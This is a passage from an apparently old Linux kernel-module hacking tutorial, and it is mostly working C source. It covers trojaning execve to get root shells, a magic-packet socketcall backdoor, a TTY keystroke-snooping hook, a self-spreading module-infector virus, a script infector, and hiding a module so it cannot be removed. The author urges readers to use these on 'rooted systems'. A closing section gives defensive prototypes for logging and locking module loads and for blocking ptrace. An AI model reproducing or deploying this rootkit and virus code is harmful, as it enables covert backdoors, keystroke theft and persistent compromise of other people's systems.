  sys_call_table[SYS_execve] = (void *) hacked_execve;
}
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_execve]=orig_execve;                                      
}

When you loaded this module, every call to /bin/ls will just execute /bin/ps. The following list gives you some ideas how to use this redirection of execve :
trojan /bin/login with a hacker login (how plaguez suggests)

trojan tcpd to open a rootshell on a certain port, or to filter its logging behaviour (remember CERT advisory on a trojan TCPD version)

trojan inetd for a root shell

trojan httpd, sendmail, ... any server you can think of, for a rootshell, by issuing a special magic string

trojan tools like tripwire, L6

other system security relevant tools

There are thousands of other intersting programs to 'trojan', just use your brain.
6. Network (Socket) related Hacks
The network is the hacker's playground. So let's look at something which can help us.
6.1 How to controll Socket Operations
There are many things you can do by controlling Socket Operations. plaguez gave us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting for a packet with a certain length and a certain contents. So let's take a look at his hacked systemcall (I will only show the hacked_systemcall, because the rest is equal to every other LKM mentioned in this section) :
int hacked_socketcall(int call, unsigned long *args)
{
int ret, ret2, compt;

/*our magic size*/
int MAGICSIZE=42;

/*our magic contents*/
char *t = "packet_contents";
unsigned long *sargs = args;
unsigned long a0, a1, mmm;
void *buf;

/*do the call*/
ret = (*o_socketcall) (call, args);

/*did we have magicsize & and a recieve ?*/
  if (ret == MAGICSIZE && call == SYS_RECVFROM)
  {
   /*work on arguments*/
   a0 = get_user(sargs);
   a1 = get_user(sargs + 1);
   buf = kmalloc(ret, GFP_KERNEL);
   memcpy_fromfs(buf, (void *) a1, ret);
   for (compt = 0; compt < ret; compt++)
    if (((char *) (buf))[compt] == 0)
     ((char *) (buf))[compt] = 1;
    /*do we have magic_contents ?*/
    if (strstr(buf, mtroj))
    {
     kfree(buf);
     ret2 = fork();
    if (ret2 == 0)
    {
     /*if so execute our proggy (shell or whatever you want...) */
     mmm = current->mm->brk;
     ret2 = brk((void *) (mmm + 256));
     memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

     /*plaguez's execve implementation -> see 4.2*/
     ret2 = my_execve((char *) mmm + 2, NULL, NULL);
    }
   }
  }
return ret;
}

Ok, as always I added some comments to the code, which is a bit ugly, but working. The code intercepts every sys_socketcall (which is responsible for everything concerning socket-operations see I.2). Inside the hacked systemcall the code first issues a normal systemcall. After that the return value and call variables are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to do with TCP/IP packets...) is ok it will check the contents which was received. If it can find our magic contents, the code can be sure,that we (hacker) want to start the backdoor program. This is done by my_execve(...).
In my opinion this approach is very good, it would also be possible to wait for a speciel connect / close pattern, just be creative.
Please remember that the methods mentioned above need a service listing on a certain port, because the receive function is only issued by daemons receiving data from an established connection. This is a disadvantage, because it could be a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas first on your system to see what will happen. Find your favourite way of backdoor'ing the sys_socketcall, and use it on your rooted systems.
7. Ways to TTY Hijacking
TTY hijacking is very interesting and also something used since a very very long time. We can grab every input from a TTY we specify throug its major and minor number. In Phrack 50 halflife published a really good LKM doing this. The following code is ripped from his LKM. It should show every beginner the basics of TTY hijacking though its no complete implementation, you cannot use it in any useful way, because I did not implement a way of logging the TTY input made by the user. It's just for those of you who want to understand the basics, so here we go :
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <sys/sysmacros.h>

int errno;

/*the TTY we want to hijack*/
int tty_minor = 2;
int tty_major = 4;

extern void* sys_call_table[];

/*we need the write systemcall*/
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

void *original_write;

/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
struct file *f=NULL;
struct inode *inode=NULL;
int mymajor=0;
int myminor=0;

if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  return 0;
mymajor = major(inode->i_rdev);
myminor = minor(inode->i_rdev);
if(mymajor != tty_major) return 0;
if(myminor != tty_minor) return 0;
  return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
int r;
char *kernel_buf;

if(is_fd_tty(fd))
{
  kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);   
  memcpy_fromfs(kernel_buf, buf, count);

  /*at this point you can output buf whereever you want, it represents
  every input on the TTY device referenced by the chosen major / minor
  number
  I did not implement such a routine, because you will see a complete &
  very good TTY hijacking tool by halflife in appendix A */

  kfree(kernel_buf);
}
sys_call_table[SYS_write] = original_write;
r = write(fd, buf, count);
sys_call_table[SYS_write] = new_write;
if(r == -1) return -errno;
  else return r;
}

int init_module(void)                  
{
/*you should know / understand this...*/
original_write = sys_call_table[SYS_write];
sys_call_table[SYS_write] = new_write;
return 0;
}

void cleanup_module(void)
{
/*no more hijacking*/
sys_call_table[SYS_write] = original_write;
}

The comments should make this code easy to read.The general idea is to intercept sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After checking fd for the TTY we want to snoop, get the data written and write it to some log (not implemented in the example above).There are several ways where you can store the logs.halflife used a buffer (accessible through an own device) which is a good idea (he can also control his hijack'er using ioctl-commands on his device).
I personally would recommand storing the logs in hidden (through LKM) file, and making the controlling through some kind of IPC. Take the way which works on your rooted system.

8. Virus writing with LKMs
Now we will leave the hacking part for a second and take a look at the world of virus coding (the ideas discussed here could also be interesting for hackers, so read on...). I will concentrate this discussion on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the complete source, so this section will only discuss important techniques and functions. This LKM requires a Linux system (it was tested on a 2.0.33 system) and kerneld installed (I will explain why).
First of all you have to know that this LKM infector does not infect normal elf executables (would also be possible,I will come to that point later->7.1), it only infects modules, which are loaded / unloaded. This loading / unloading is often managed by kerneld (see I.7). So imagine a module infected with the virus code; when loading this module you also load the virus LKM which uses hiding features (see 8). This virus module intercepts the sys_create_module and sys_delete_module (see I.2) systemcalls for further infection. Whenever a module is unloaded on that system it is infected by the new sys_delete_module systemcall. So every module requested by kerneld (or manually) will be infected when unloaded.
You could imagine the following scenario for the first infection :
admin is searching a network driver for his new interface card (ethernet,...)

he starts searching the web

he finds a driver module which should work on his system & downloads it

he installs the module on his system [the module is infected]
--> the infector is installed, the system is compromised

Of course, he did not download the source, he was lazy and took the risks using a binary file. So admins never trust any binary files (esp. modules). So I hope you see the chances / risks of LKM infectors, now let's look a bit closer at the LKM infector by SVAT.
Imagine you have the source for the virus LKM (a simple module, which intercepts sys_create_module / sys_delete_module and some other [more tricky] stuff). The first question would be how to infect an existing module (the host module). Well let's do some experimenting. Take two modules and 'cat' them together like
# cat module1.o >> module2.o

After this try to insmod the resulting module2.o (which also includes module1.o at its end).
# insmod module2.o

Ok it worked, now check which modules are loaded on your system
# lsmod
Module         Pages    Used by
module2        1        0

So we know that by concatenating two modules the first one (concerning object code) will be loaded, the second one will be ignored. And there will be no error saying that insmod can not load corrupted code or so.
With this in mind, it should be clear that a host module could be infected by
cat host_module.o >> virus_module.o
ren virus_module.o host_module.o

This way loading host_module.o will load the virus with all its nice LKM features. But there is one problem, how do we load the actual host_module ? It would be very strange to a user / admin when his device driver would do nothing. Here we need the help of kerneld. As I said in I.7 you can use kerneld to load a module. Just use request_module("module_name") in your sources.This will force kerneld to load the specified module. But where do we get the original host module from ? It is packed in host_module.o (together with virus_module.o). So after compiling your virus_module.c to its objectcode you have to look at its size (how many bytes). After this you know where the original host_module.o will begin in the packed one (you must compile the virus_module two times : the first one to check the objectcode size, the second one with the source changed concerning objectsize which must be hardcoded...). After these steps your virus_module should be able to extract the original host_module.o from the packed one. You have to save this extracted module somewhere, and load it via request_module("orig_host_module.o"). After loading the original host_module.o your virus_module (which is also loaded from the insmod [issued by user, or kerneld]) can start infecting any loaded modules.
Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the infection, so let's take a look at his hacked systemcall (I only added some comments) :
/*just the hacked systemcall*/
int new_delete_module(char *modname)
{
/*number of infected modules*/
static int infected = 0;
int retval = 0, i = 0;
char *s = NULL, *name = NULL;

/*call the original sys_delete_module*/      
retval = old_delete_module(modname);

  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
  return retval;

/*check files to infect -> this comes from hacked sys_create_module; just
a feature of *this* LKM infector, nothing generic for this type of virus*/
for (i = 0; files2infect[i][0] && i < 7; i++)
{
  strcat(files2infect[i], ".o");
  if ((s  = get_mod_name(files2infect[i])) == NULL)
  {
   return retval;
  }
  name = strcpy(name, s);
  if (!is_infected(name))
  {
   /*this is just a macro wrapper for printk(...)*/
   DPRINTK("try 2 infect %s as #%d\n", name, i);
   /*increase infection counter*/
   infected++;
   /*the infect function*/
   infectfile(name);
  }
  memset(files2infect[i], 0, 60 + 2);
} /* for */
/* its enough */
/*how many modules were infected, if enough then stop and quit*/
if (infected >= ENOUGH)
  cleanup_module();
vfree(name);
return retval;
}

Well there is only one function interesting in this systemcall: infectfile(...). So let's examine that function (again only some comments were added by me) :
int infectfile(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;

/*don't get confused, this is a macro define by the virus. It does the
kernel space -> user space handling for systemcall arguments(see I.4)*/
BEGIN_KMEM
/*open objectfile of the module which was unloaded*/
in = open(filename, O_RDONLY, 0640);
/*create a temp. file*/
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
/*see BEGIN_KMEM*/
END_KMEM

DPRINTK("in infectfile: in = %d out = %d\n", in, out);
if (in <= 0 || out <= 0)
  return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
  return -1;
/*copy module objectcode (host) to file2*/
cp(file1, file2);
BEGIN_KMEM
file1->f_pos = 0;
file2->f_pos = 0;
/* write Vircode [from mem] */
DPRINTK("in infetcfile: filenanme = %s\n", filename);
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
cp(file2, file1);
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}        

I think the infection function should be quite clear.
There is only thing left which I think is necessary to discuss : How does the infected module first start the virus, and load the original module (we know the theory, but how to do it in reality) ?
For answering this question lets take a look at a function called load_real_mod(char *path_name, char* name) which manages that problem :
/* Is that simple: we disinfect the module [hide 'n seek]
* and send a request to kerneld to load
* the orig mod. N0 fuckin' parsing for symbols and headers
* is needed - cool.
*/
int load_real_mod(char *path_name, char *name)
{          
int r = 0, i = 0;               
struct file *file1, *file2;
int in =  0, out = 0;

DPRINTK("in load_real_mod name = %s\n", path_name);
if (VirCode)
  vfree(VirCode);
VirCode = vmalloc(MODLEN);
if (!VirCode)
   return -1;
BEGIN_KMEM
/*open the module just loaded (->the one which is already infected)*/
in = open(path_name, O_RDONLY, 0640);
END_KMEM
if (in <= 0)
  return -1;
file1 = current->files->fd[in];
if (!file1)
  return -1;
/* read Vircode [into mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
/*split virus / orig. module*/
disinfect(path_name);
/*load the orig. module with kerneld*/
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}          

It should be clear *why* this LKM infector need kerneld now, we need to load the original module by requesting it with request_module(...). I hope you understood this very basic journey through the world of LKM infectors (virus). The next sub sections will show some basic extensions / ideas concering LKM infectors.
8.1 How a LKM virus can infect any file (not just modules)
Please don't blame me for not showing a working example of this idea, I just don't have the time to implement it at the moment (look for further releases). As you saw in II.4.2 it is possible to catch the execute of every file using an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which appends some data to the program that is going to be executed. The next time this program is started, it first starts our added part and then the original program (just a basic virus scheme). We all know that there are some existing Linux / unix viruses out there, so why don't we try to use LKMs infect our elf executables not just modules.We could infect our executables,in a way that they check for UID=0 and then load again our infection module... I hope you understood the general idea.
I have to admit, that the modification needed to elf files is quite tricky, but with enough time you could do it (it was done several times before, just take a look at existing Linux viruses).
First of all you have to check for the file type which is going to be execute by sys_execve(...). There are several ways to do it; one of the fastest is to read some bytes from the file and checking them against the ELF string. After this you can use write(...) / read(...) / ... calls to modify the file, look at the LKM infector to see how it does it.
My theory would stay theory without any proof, so I present a very easy and useless LKM *script* infector. You cannot do anything virus like with it, it just infects a script with certain commands and nothing else; no real virus features.
I show you this example as a concept of LKMs infecting any file you execute. Even Java files could be infected, because of the features provided by the Linux kernel. Here comes the little LKM script infector :
#define __KERNEL__
#define MODULE

/*taken from the original LKM infector; it makes the whole LKM a lot easier*/
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

int __NR_myexecve;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*write)(unsigned int, char*, unsigned int);
int (*read)(unsigned int, char*, unsigned int);
int (*close)(int);

/*see II.4.2 for explanation*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

/*infected execve systemcall + infection routine*/
int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
char *test, j;
int ret;
int host = 0;

/*just a buffer for reading up to 20 files (needed for identification of
execute file*/
test = (char *) kmalloc(21, GFP_KERNEL);

/*open the host script, which is going to be executed*/
host=open(filename, O_RDWR|O_APPEND, 0640);

BEGIN_KMEM

/*read the first 20 bytes*/
read(host, test, 20);  

/*is it a normal shell script (as you see, you can modify this for *any*
executable*/
if (strstr(test, "#!/bin/sh")!=NULL)
{
  /*a little debug message*/
  printk("<1>INFECT !\n");
  /*we are friendly and attach a peaceful command*/
  write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
}
END_KMEM
/*modification is done, so close our host*/
close(host);
/*free allocated memory*/
kfree(test);
/*execute the file (the file is execute WITH the changes made by us*/
ret = my_execve(filename, argv, envp);
return ret;
}

int init_module(void)                /*module setup*/
{
__NR_myexecve = 250;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}

/*we need some functions*/
open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];     
write = sys_call_table[__NR_write];
read = sys_call_table[__NR_read];
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_execve]=orig_execve;                                      
}

This is too easy to waste some words on it. Of course, this module does not need kerneld for spreading (interesting for kernel without kerneld support).
I hope you got the idea on infecting any executable, this is a very strong method of killing large systems.
8.2 How can a LKM virus help us to get in
As you know virus coders are not hackers, so what about interesting features for hackers. Think about this problem (only ten seconds), you should realize, that a whole system could be yours by introducing a trojan (infected) LKM.
Remember all the nice hacks we discussed till now.Even without trojans you could hack a system with LKMs. Just use a local buffer overflow to load a LKM in your home directoy. Believe me, it is easier to infect a system with a real good LKM than doing the same stuff as root again and again. It's more elagent to let the LKM make the work for you. Be CREATIVE...
9. Making our LKM invisible & unremovable
Now it's time to start talking about the most important / interesting Hack I will present. This idea comes from plaguez's LKM published in Phrack (other people like Solar Designer discussed this before...).
So far we are able to hide files, processes, directories, and whatever we want. But we cannot hide our own LKM. Just load a LKM and take a look at /proc/modules. There are many ways we can solve this problem. The first solution could be a partial file hiding (see II.4.3). This would be easy to implement, but there is a better more advanced and secure way. Using this technique you must also intercept the sys_query_module(...) systemcall. An example of this approach can be seen in A-b.
As I explained in I.1 a module is finally loaded by issuing a init_module(...) systemcall which will start the module's init function. init_module(...) gets an argument : struct mod_routines *routines. This structure contains very important information for loading the LKM. It is possible for us to manipulate some data from this structure in a way our module will have no name and no references. After this the system will no longer show our LKM in /proc/modules, because it ignores LKMs with no name and a refernce count equal to 0. The following lines show how to access the part of mod_routines, in order to hide the module.

/*from Phrack & AFHRM*/
int init_module()
{
  register struct module *mp asm("%ebp");   // or whatever register it is in
  *(char*)mp->name=0;
  mp->size=0;
  mp->ref=0;
...

This code trusts in the fact that gcc did not manipulate the ebp register because we need it in order to find the right memory location. After finding the structure we can set the structure's name and references members to 0 which will make our module invisible and also unremovable, because you can only remove LKMs which the kernel knows, but our module is unknow to the kernel.
Remember that this trick only works if you use gcc in way it does not touch the register you need to access for getting the structure.You must use the following gcc options :
#gcc -c -O3 -fomit-frame-pointer module.c

fomit-frame-pointer says cc not to keep frame pointer in registers for functions that don't need one. This keeps our register clean after the function call of init_module(...), so that we can access the structure.
In my opinion this is the most important trick, because it helps us to develope hidden LKMs which are also unremovable.
10. Other ways of abusing the Kerneldaemon
In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine the socketcall loading a module instead of starting our backdoor shellscript or program. You could load a module adding an entry to passwd or inetd.conf. After loading this second LKM you have many possibilities of changing systemfiles. Again, be creative.
11. How to check for presents of our LKM
We learned many ways a module can help us to subvert a system. So imagine you code yourself a nice backdoor tool (or take an existing) which isn't implemented in the LKM you use on that system; just something like pingd, WWW remote shell, shell, .... How can you check after logging in on the system that your LKM is still working? Imagine what would happen if you enter a session and the admin is waiting for you without your LKM loaded (so no process hiding etc.). So you start doing you job on that system (reading your own logs, checking some mail traffic and so on) and every step is monitored by the admin. Well no good situation, we must know that our LKM is working with a simple check.
I suppose the following way is a good solution (although there may be many other good ones):
implement a special systemcall in your module

write a little user space program checking for that systemcall

Here is a module which implements our 'check systemcall' :
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

#define SYS_CHECK 200

extern void* sys_call_table[];

int sys_check()
{
return 666;   
}

int init_module(void)                /*module setup*/
{
sys_call_table[SYS_CHECK]=sys_check;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{}

If you issue a systemcall with the number 200 in eax we should get a return of 666. So here is our user space program checking for this :
#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>

extern void *sys_call_table[];

int check()
{   
__asm__("movl $200,%eax
         int $0x80");
}

main()
{
int ret;
ret = check();
if (ret!=666)
  printf("Our module is *not* present !!\n");
else
  printf("Our module is present, continue...\n");
}

In my opinion this is one of the easiest ways to check for presents of our LKM, just try it.
III. Soltutions (for admins)

1. LKM Detector Theory & Ideas
I think it is time to help admins securing their system from hostile LKMs.
Before explaining some theories remember the following for a secure system :

never install any LKMs you don't have the sources for (of course, this is also relevant for normal executables)

if you have the sources, check them (if you can). Remember the tcpd trojan problem. Large software packets are mostly quite complex to understand, but if you need a very secure system you should analyse the source code.

Even if you follow those tips it could be possible that an intruder activates an LKM on your system (overflows etc.).
So what about a LKM logging every module loaded, and denying every load attempt from a directory different from a secure one (to avoid simple overflows; that's no perfect way...). The logging can be easily done by intercepting the create_module(...) systemcall. The same way you could check for the directory the loaded module comes from.
It would also be possible to deny any module loading, but this is a very bad way, because you really need them. So what about modifying module loading in a way you can supply a password, which will be checked in your intercepted create_module(...). If the password is correct the module will be loaded, if not it will be dropped.
It should be clear that you have to hide your LKM to make it unremovable. So let's take a look at some prototype implemantations of the logging LKM and the password protected create_module(...) systemcall.

1.1 Practical Example of a prototype Detector
Nothing to say about that simple implementation, just intercept sys_create_module(...) and log the names of modules which were loaded.

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_create_module)(char*, unsigned long);

int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;

kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);

/*here we log to syslog, but you can log where you want*/
printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);

ret=orig_create_module(name, size);
return ret;
}

int init_module(void)                /*module setup*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_create_module]=orig_create_module;                                      
}

This is all you need, of course you should add the lines required for hiding the module, but this is no problem. After making it unremovable this way, a hacker can only modify the log file, but you could also save your logs, to a file unaccessible for the hacker (see II.1 for required tricks). Of course you can also intercept sys_init_module(...)which would also show every module, that's just a matter of taste.
1.2 Practical Example of a prototype password protected create_module(...)
This subsection will deal with the possibility to add authentication to module loading. We need two things to manage this task :
a way to check module loading (easy)

a way to authenticate (quite difficult)

The first point is very easy to code, just intercept sys_create_module(...) and check some variable, which tells the kernel wether this load process is legal. But how to do authentication. I must admit that I did not spend many seconds on thinking about this problem, so the solution is more than bad, but this is a LKM article, so use your brain, and create something better. My way to do it, was to intercept the stat(...) systemcall, which is used if you type any command,and the system needs to search it. So just type a password as command and the LKM will check it in the intercepted stat call [I know this is more than insecure; even a Linux starter would be able to defeat this authentication scheme, but (again) this is not the point here...]. Take a look at my implemtation (I ripped lots of from existing LKMs like the one by plaguez...):

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <sys/stat.h>

extern void* sys_call_table[];

/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
int lock_mod=0;

int __NR_myexecve;

/*intercept create_module(...) and stat(...) systemcalls*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));

return dest;
}

int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password"; /*yeah, a great password*/

name    = (char *) kmalloc(255, GFP_KERNEL);

(void) strncpy_fromfs(name, filename, 255);

/*do we have our password ?*/
if (strstr(name, password)!=NULL)
{
  /*allow loading a module for one time*/
  lock_mod=1;
  kfree(name);
  return 0;
}
else
{
  kfree(name);
  ret = orig_stat(filename, buf);
}
return ret;
}

int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;

if (lock_mod==1)
{
  lock_mod=0;
  ret=orig_create_module(name, size);
  return ret;
}
else
{
  printk("<1>MOD-POL : Permission denied !\n");
  return 0;
}
return ret;
}

int init_module(void)                /*module setup*/
{
__NR_myexecve = 200;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;

sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                                       

orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;

orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;

printk("<1>MOD-POL LOADED...\n");
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_prev_stat]=orig_stat;                                      
sys_call_table[SYS_create_module]=orig_create_module;                                      
}

This code should be clear. The following list tells you what to improve in this LKM in order to make it more secure, perhaps a bit too paranoid :) :
find another way to authenticate (use your own user space interface, with your own systemcalls; use userID (not just a plain password); perhaps you have a biometric device -> read documentation and code your device driver for Linux and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles, biometric, smartcard systems can often be defeated because of a very insecure software interface;. You could secure your whole system with a mechanism like that. Control your whole kernel with a smartcard :)
Another not so 'extreme' way would be to implement your own systemcall which is responsible for authentication. (see II.11 for an example of creating your own systemcall).

find a better way to check in sys_create_module(...). Checking a variable is not very secure, if someone rooted your system he could patch the memory (see the next part)

find a way to make it impossible for an attacker to use your authentication for insmod'ing his LKM

add hiding features

...

You can see, there is some work to do. But even with those steps, your system cannot be totally secure.If someone rooted the system he could find other tricks to load his LKM (see next part); perhaps he even does not need a LKM, because he only rooted thesystem, and don't want to hide files / processeses (and the other wonderfull things possible with LKMs).
2. Anti-LKM-Infector ideas
memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD scanner virus in WIN9x)

file checking scanner (checking module files for signs of an infection)

The first method is possible through intercepting sys_create_module (or the init_module call). The second approach needs something characteristic which you may find in any infected file. We know that the LKM infector appends two module files. So we could check for two ELF headers / signatures. Of course, any other LKM infector could use a improved method (encryption, selfmodifying code etc.). I won't present a file checking scanner, because you just have to write a little (user space) programm that reads in the module, and checks for twe ELF headers (the 'ELF' string, for example).
3. Make your programs untraceable (theory)
Now it's time to beat hackers snooping our executables. As I said before strace is the tool of our choice. I presented it as a tool helping us to see which systemcalls are used in certain programs. Another very interesting use of strace is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to use strace for TTY hijacking. Just strace your neighbours shell,and you will get every input he makes. So you admins should realize the danger of strace. The program strace uses the following API function :

#include <sys/ptrace.h>

int ptrace(int request, int pid, int addr, int data);

Well how can we control strace? Don't be silly and remove strace from your system, and think everything is ok - as I show you ptrace(...) is a library function. Every hacker can code his own program doing the same as strace. So we need a better more secure solution. Your first idea could be to search for an interesting systemcall that could be responsible for the tracing; There is a systemcall doing that; but let's look at another approach before.
Remember II.5.1 : I talked about the task flags. There were two flags which stand for traced processes. This is the way we can control the tracing on our system. Just intercept the sys_execve(...) systemcall and check the current process for one of the two flags set.

3.1 Practical Example of a prototype Anti-Tracer
This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from 4. The flags field from our process can easily be retrieved using the current pointer (task structure). The rest is nothing new.
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int __NR_myexecve;

int (*orig_execve) (const char *, const char *[], const char *[]);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
  return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
                  (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
int ret, tmp;
unsigned long mmm;
char *kfilename;

/*check for the flags*/
if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {
  /*we are traced, so print the traced process (program name) and return
  without execution*/
  kfilename = (char *) kmalloc(256, GFP_KERNEL);
  (void) strncpy_fromfs(kfilename, filename, 255);
  printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
  kfree(kfilename);
  return 0;
}
ret = my_execve(filename, argv, envp);
return ret;
}

int init_module(void)                /*module setup*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_execve]=orig_execve;                                      
}
<xmp>

This LKM also logs any executable someone wanted to execute with tracing. Well
this LKM checks for some flags, but what if you start tracing a program which
is already running. Just imagine a program (shell or whatever) running with the
PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this
hooking sys_ptrace(...) is the only way. Look at the following module :

<xmp>
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_ptrace)(long request, long pid, long addr, long data);

int hacked_ptrace(long request, long pid, long addr, long data)
{
printk("TRACING IS NOT ALLOWED\n");
return 0;
}

int init_module(void)                /*module setup*/
{
orig_ptrace=sys_call_table[SYS_ptrace];
sys_call_table[SYS_ptrace]=hacked_ptrace;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_ptrace]=orig_ptrace;                                      
}
<xmp>

Use this LKM and no one will be able to trace anymore.

<H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>

